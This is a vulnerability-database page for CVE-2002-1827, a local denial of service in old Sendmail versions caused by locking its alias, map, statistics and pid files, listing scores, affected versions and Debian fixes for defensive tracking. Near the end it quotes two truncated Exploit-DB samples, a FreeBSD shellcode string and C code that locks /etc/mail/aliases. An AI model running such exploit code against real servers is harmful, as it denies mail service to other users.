CVE-2002-1827
published 2002-12-31CVE-2002-1827: Sendmail 8.9.0 through 8.12.3 allows local users to cause a denial of service by obtaining an exclusive lock on the (1) alias, (2) map, (3) statistics, and (4)…
PriorityP410low2.1CVSS 2.0
AVLACLAuNCNINAP
EXPLOIT
EPSS
0.93%
56.5th percentile
Sendmail 8.9.0 through 8.12.3 allows local users to cause a denial of service by obtaining an exclusive lock on the (1) alias, (2) map, (3) statistics, and (4) pid files.
Affected
24 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | sendmail | < sendmail 8.12-4 (bookworm) | sendmail 8.12-4 (bookworm) |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | — | — |
| sendmail | sendmail | >= 0 < 8.12-4 | 8.12-4 |
| sendmail | sendmail | >= 0 < 8.12-4 | 8.12-4 |
| sendmail | sendmail | >= 0 < 8.12-4 | 8.12-4 |
| sendmail | sendmail | >= 0 < 8.12-4 | 8.12-4 |
CVSS provenance
nvdv2.02.1LOWAV:L/AC:L/Au:N/C:N/I:N/A:P
osv2.1LOW
vendor_debian2.1LOW
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-rrx8-8c33-99fc: Sendmail 8
ghsa_unreviewed·2022-04-30
CVE-2002-1827 [LOW] GHSA-rrx8-8c33-99fc: Sendmail 8
Sendmail 8.9.0 through 8.12.3 allows local users to cause a denial of service by obtaining an exclusive lock on the (1) alias, (2) map, (3) statistics, and (4) pid files.
OSV
CVE-2002-1827: Sendmail 8
osv·2002-12-31·CVSS 2.1
CVE-2002-1827 [LOW] CVE-2002-1827: Sendmail 8
Sendmail 8.9.0 through 8.12.3 allows local users to cause a denial of service by obtaining an exclusive lock on the (1) alias, (2) map, (3) statistics, and (4) pid files.
Debian
CVE-2002-1827: sendmail - Sendmail 8.9.0 through 8.12.3 allows local users to cause a denial of service by...
vendor_debian·2002·CVSS 2.1
CVE-2002-1827 [LOW] CVE-2002-1827: sendmail - Sendmail 8.9.0 through 8.12.3 allows local users to cause a denial of service by...
Sendmail 8.9.0 through 8.12.3 allows local users to cause a denial of service by obtaining an exclusive lock on the (1) alias, (2) map, (3) statistics, and (4) pid files.
Scope: local
bookworm: resolved (fixed in 8.12-4)
bullseye: resolved (fixed in 8.12-4)
forky: resolved (fixed in 8.12-4)
sid: resolved (fixed in 8.12-4)
trixie: resolved (fixed in 8.12-4)
No detection rules found.
Exploit-DB
Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (1)
exploitdb·2002-05-24
CVE-2002-1827 Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (1)
Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (1)
---
/*
source: https://www.securityfocus.com/bid/4822/info
Sendmail is a MTA for Unix and Linux variants.
There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation.
*/
/*
FreeBSD Sendmail DoS shellcode that locks /etc/mail/aliases.db
Written by zillion (at http://www.safemode.org && http://www.snosoft.com)
More info: http://www.sendmail.org/LockingAdvisory.txt
*/
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x14\x50\x56\xb0\x05\x50\xcd\x80"
"\x6a\x02\x50\xb0\x83\x50\xcd\x80\x80\xe9\x03\x78\xfe\xe8\xe1"
"\xff\xff\xff\x2f\x65\x74\x63\x2f\x6d\x61\x69\x6c\x2f\x61\x
Exploit-DB
Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (2)
exploitdb·2002-05-24
CVE-2002-1827 Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (2)
Sendmail 8.9.x/8.10.x/8.11.x/8.12.x - File Locking Denial of Service (2)
---
// source: https://www.securityfocus.com/bid/4822/info
Sendmail is a MTA for Unix and Linux variants.
There is a vulnerability in Sendmail that will lead to a denial of service condition. The vulnerability occurs when a malicious user acquires an exclusive lock on files that Sendmail requires for operation.
#include
#include
/*
Stupid piece of code to test the sendmail lock vulnerability on
FreeBSD. Run this and try sendmail -t on FreeBSD for example.
More info: http://www.sendmail.org/LockingAdvisory.txt
zillion (at safemode.org && snosoft.com)
http://www.safemode.org
http://www.snosoft.com
*/
int main() {
if(fork() == 0) {
char *lock1 = "/etc/mail/aliases";
char *lock2 = "/etc/mail/aliases.db";
char
No writeups or analysis indexed.
http://online.securityfocus.com/archive/1/274033http://www.iss.net/security_center/static/9162.phphttp://www.securityfocus.com/bid/4822http://www.sendmail.org/LockingAdvisory.txthttp://online.securityfocus.com/archive/1/274033http://www.iss.net/security_center/static/9162.phphttp://www.securityfocus.com/bid/4822http://www.sendmail.org/LockingAdvisory.txt
2002-12-31
Published